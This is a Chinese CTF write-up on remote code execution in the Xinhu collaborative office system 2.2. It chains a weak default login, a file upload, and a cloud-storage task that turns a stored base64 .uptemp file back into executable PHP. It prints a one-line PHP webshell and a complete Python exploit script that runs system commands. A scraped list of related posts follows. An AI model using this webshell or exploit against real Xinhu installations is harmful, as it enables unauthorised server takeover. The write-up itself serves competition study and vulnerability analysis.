文章目录

  • 写在前面
  • 漏洞分析
  • 脚本

写在前面

本次强网杯决赛的一个题,还是蛮有意思的,代码可以在github拿到
https://github.com/rainrocka/xinhu

漏洞分析

首先这个系统存在弱口令,在题目给的sql文件当中通过在线md5破解得到test/abc123

接下来就是随便找一个地方进行文件上传

我们抓包看看对这个php文件进行了什么处理,其调用了webmain/task/api/uploadAction.php下uploadClassAction类的upfileAction函数

引入插件,实例化upfileChajian

跳过不需太过于关注的部分,我们跟踪up函数

看看issavefile

是一个白名单很明显php后缀不符合


跳过不相干一堆函数

可以很明显的发现这类白名单外的文件会被改后缀为uptemp

内容为原来内容的base64编码结果,猜测估计是为了防止文件包含,不过都到这里了确实有点小单纯
接下来就是最关键的地方,在webmain\task\runt\qcloudCosAction.php腾讯云存储下的qcloudCosClassActionrun方法,根据id从数据库取出数据,接下来看图

一方面恢复了php后缀,另一方面内容也通过base64还原了
运行下下面的脚本可以看见成功执行whoami

脚本

1.php

<?php eval($_GET["1"]);?>

exp.py

import requestssession = requests.session()url_pre = 'http://url/'
url1 = url_pre + '?a=check&m=login&d=&ajaxbool=true&rnd=533953'
url2 = url_pre + '/index.php?a=upfile&m=upload&d=public&maxsize=100&ajaxbool=true&rnd=798913'
url3 = url_pre + '/task.php?m=qcloudCos|runt&a=run&fileid=11'data1 = {'rempass': '0','jmpass': 'false','device': '1625884034525','ltype': '0','adminuser': 'dGVzdA::','adminpass': 'YWJjMTIz','yanzm': ''
}r = session.post(url1, data=data1)
r = session.post(url2, files={'file': open('1.php', 'r+')})filepath = str(r.json()['filepath'])
filepath = "/" + filepath.split('.uptemp')[0] + '.php'
id = r.json()['id']url3 = url_pre + f'/task.php?m=qcloudCos|runt&a=run&fileid={id}'r = session.get(url3)
r = session.get(url_pre + filepath + "?1=system('whoami');")
print(r.text)

[代码审计]信呼协同办公系统2.2存在文件上传配合云处理函数组合拳RCE相关推荐

  1. 信呼协同办公系统在线办公管理系

    介绍: 一套免费开源的协同办公系统,为各大中小企业通用型在线办公管理系统,精简,便捷方便使用的管理软件 网盘下载地址: http://kekewl.org/WSKwOw4DaSa0 图片:

  2. php开源协同办公系统-信呼,信呼协同办公系统 全开源v1.6.7版

    ----------------------安装前使用------------------------------ php环境要求:请配置好自己的php+mysql环境,使用(mysql5.3+),开 ...

  3. 【工具】更新云文档办公利器汇总,腾讯新增批量上传多文件上传,云文档对比测试报告...

    昨天腾讯文档增加了新功能:一键批量文件导入,即一次操作将多个文件导入到腾讯文档.简单测试了一下,非常好用.腾讯文档要往云存储方向发展?小伙伴们又多了一个云备份地方,好评! 上次的大文件上传测试 在论坛 ...

  4. 基于Springboot外卖系统13:实现文件上传下载模块

    1. 上传功能模块 1.1 上传概述 文件上传,也称为upload,是指将本地图片.视频.音频等文件上传到服务器上,可以供其他用户浏览或下载的过程. 文件上传时,对页面的form表单有如下要求: 表单 ...

  5. 【基于SSH框架的个人博客系统06】头像文件上传与前后端分页机制

    注意:本项目为博主初学Web开发时所写,所使用的方法都比较笨,不符合主流开发方法.例如,包管理应该使用Maven进行管理而不是手动导入,对前端后端代码的架构也并不是很清晰.大家学习思想即可,可以不用浪 ...

  6. 【工具】更新云文档办公利器汇总,腾讯文档测试文件上传,云文档对比测试报告...

    昨天在论坛里看到有大神分享"书籍索引目录.xlsx",据说是某宝买的资源,里边是约5T电子书资源的网盘书籍引目录,这个excel表格文档大小6M左右,我想分享给大家,然后便有了今天 ...

  7. php 文件上传系统,php需登录文件上传管理系统

    代码如下 $admin_pw="admin";//管理密码 $uploaddir="upload";//上传目录 session_start(); if($_G ...

  8. 如何用NAS打造私有协同办公系统?

    对于人数不多的小型初创企业.工作室.SOHO人群来说,能够拥有自有的协同办公系统无疑是提高工作效率的好方法,同时将文件放在自己的服务器中,显然会更加安心,不用担心重要内容的泄露问题. 因此,大家有没有 ...

  9. 服务器与虚拟机进行双机热备,基于虚拟机的双机热备高可靠协同办公系统

    摘 要 随着高校信息化的不断推进,各高校纷纷建立起协同办公系统,推行无纸化.网络化办公.协同办公系统一旦出现故障,将对学校的正常办公造成严重的影响.本文针对虚拟化环境下协同办公系统的高可靠运行问题,介 ...

  10. 云信小课堂丨简单四步,快速搭建协同办公系统!

    Vol. 8 企业作为社会分工参与的主体,在自身发展以及内部协作中,势必会涉及到各类自有技术和商业信息的互动与交流,而这类信息由于有着高度的保密性和隐私性,所以如微信.QQ 等通用的即时通讯工具很难满 ...

最新文章

  1. php-数据分析 余弦相似度实现
  2. java时间日期工具类_java日期处理工具类
  3. linux运行程序+后注销,linux – 如果我启动后台进程然后注销,它会继续运行吗?...
  4. java .jar怎么打开_jar文件怎么打开,小编教你如何打开jar文件
  5. ASP.NET:判断session是否合法示例
  6. 中文版边缘计算白皮书发布,引领行业新趋势
  7. python类方法和静态方法_Python 中的方法、静态方法(static method)和类方法(class method)...
  8. 中职生计算机应用试卷分析,中职计算机应用基础学业水平测试问题的相关分析...
  9. 算法与数据结构——有序表(Java)(b站左程云课程笔记总结)
  10. python123期末四题编程题 -无空隙回声输出-文件关键行数-字典翻转输出-《沉默的羔羊》之最多单词
  11. TP5.1实现数组内容的分页和数据渲染
  12. Julia 安装,使用教程
  13. 计算机桌面没有打字,电脑输入法不见了怎么办
  14. 两点之间的最短距离是?
  15. python win10 桌面_利用Python批量提取Win10锁屏壁纸实战教程
  16. 爬虫基础(6)网页解析之XPath库
  17. Mybatis-Plus的使用小技巧,高级面试题+解析
  18. coreldraw sp2精简版 x4_coreldraw下载
  19. 解决Origin导出图片失真问题
  20. 《网页制作与网站建设从入门到精通》封面

热门文章

  1. 华为服务器MLC硬盘ID号,别被骗了!TLC/MLC SSD寿命测试:意外
  2. 企鹅java游戏下载安装_飞翔企鹅游戏下载
  3. 对接微信支付退款证书之坑
  4. 【Multisim仿真】LM317-337双路输出可调直流稳压电源电路
  5. CSDN 创始人蒋涛:开源吞噬世界,得开发者得天下
  6. C语言编程——输入某年某月某日,判断这一天是这一年的第几天?
  7. 设计模式-一些输出方式demo
  8. Visual Studio C++/C 游戏——双人贪吃蛇 实现方法+代码讲解+算法优化+成功展示+源代码+总结(超详细,适合小白)
  9. android屏幕录制
  10. 排水注水java_小学数学重难点:关于《水池注水排水问题》例题详解,考试必备...